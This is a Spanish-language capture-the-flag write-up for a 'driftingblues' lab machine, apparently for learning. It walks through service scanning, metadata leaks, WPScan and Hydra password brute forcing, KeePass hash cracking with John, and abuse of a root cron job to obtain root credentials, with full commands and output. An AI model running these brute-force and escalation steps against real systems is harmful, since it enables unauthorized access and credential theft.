Enumeración de servicios
El escaneo descubre SSH y un WordPress sobre Apache. La versión del CMS orienta la enumeración hacia usuarios, plugins y contenido almacenado en wp-content:
❯ sudo nmap -p- -sS -n -Pn -oG 01-allPorts 192.168.1.18
❯ nmap -sCV -p22,80 -oN 02-targeted.txt 192.168.1.18
Nmap scan report for 192.168.1.18
Host is up (0.00026s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: diary – Just another WordPress site
|_http-generator: WordPress 5.6.2
|_http-server-header: Apache/2.4.38 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelMetadata Exposure y descubrimiento de credenciales
En wp-content/uploads/2021/02/ encontramos varias imágenes. Los datos de dblogo.png presentan una Metadata Exposure que revela la base de una contraseña SSH y avisa que la capitalización puede variar:
❯ exiftool dblogo.png
...
Text Layer Text: ssh password is 59583hello of course it is lowercase maybe not :)
...CeWL construye un diccionario a partir del contenido del sitio. WPScan usa esas palabras contra el login de WordPress y valida gill:interchangeable, lo que confirma un usuario real para las pruebas posteriores:
❯ cewl.rb -d 3 -m 5 'http://192.168.1.18' > ./wp-wordlist.txt
❯ wpscan --url http://192.168.1.18 --detection-mode aggressive --passwords wp-wordlist.txt
...
[!] Valid Combinations Found:
| Username: gill, Password: interchangeable
...Acceso inicial mediante Password Guessing dirigido
Como el comentario sugería variar mayúsculas y minúsculas, generamos las 2^5 combinaciones posibles de hello, conservando el prefijo 59583. Esta lista acotada permite comprobar una Weak Password en la cuenta gill por SSH sin recurrir a un diccionario general:
❯ cat dict_creator.py
word = "hello"
variations = []
for i in range(2 ** len(word)):
current_variation = ""
for j in range(len(word)):
if (i >> j) & 1:
current_variation += word[j].upper()
else:
current_variation += word[j].lower()
variations.append(current_variation)
with open("diccionario.txt", "a") as file:
for variation in variations:
file.write("59583" + variation + "\n")❯ hydra -l gill -P diccionario.txt 192.168.1.18 ssh -t 64
...
[22][ssh] host: 192.168.1.18 login: gill password: 59583hello
...
❯ ssh gill@192.168.1.18
gill@192.168.1.18's password: 59583hello
gill@driftingblues:~$Recuperación de secretos desde KeePass
Tras obtener la primera flag, descargamos keyfile.kdbx. keepass2john convierte los parámetros de derivación de la base KeePass en un formato que John puede atacar y recupera la contraseña maestra porsiempre:
❯ keepass2john keyfile.kdbx > hash
❯ sudo /opt/john/run/john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt hash
...
porsiempre (keyfile)
...Abriéndolo (keeweb) obtenemos una lista de posibles contraseñas:
2real4surreal
buddyretard
closet313
exalted
fracturedocean
zakkwyldeCredential Exposure mediante una tarea cron
pspy64 permite observar procesos privilegiados sin leer el script de root y muestra la ejecución periódica de /root/key.sh:
gill@driftingblues:/tmp$ ./pspy64
...
2024/05/25 17:15:01 CMD: UID=0 PID=20166 | /bin/bash /root/key.sh
.../keyfolder es escribible por gill. La conducta observada indica que el cron compara los nombres presentes con una clave esperada; por ello creamos temporalmente un archivo por cada candidato, esperando un ciclo entre pruebas. Cuando aparece fracturedocean, el proceso privilegiado genera rootcreds.txt:
gill@driftingblues:/keyfolder$ for PASSWD in $(cat /tmp/keyfile_content); do touch $PASSWD;sleep 62; rm $PASSWD; done
gill@driftingblues:/keyfolder$ ls
fracturedocean rootcreds.txt
gill@driftingblues:/keyfolder$ cat rootcreds.txt
root creds
imjustdrifting31La contraseña recuperada permite cambiar a root y obtener la flag final.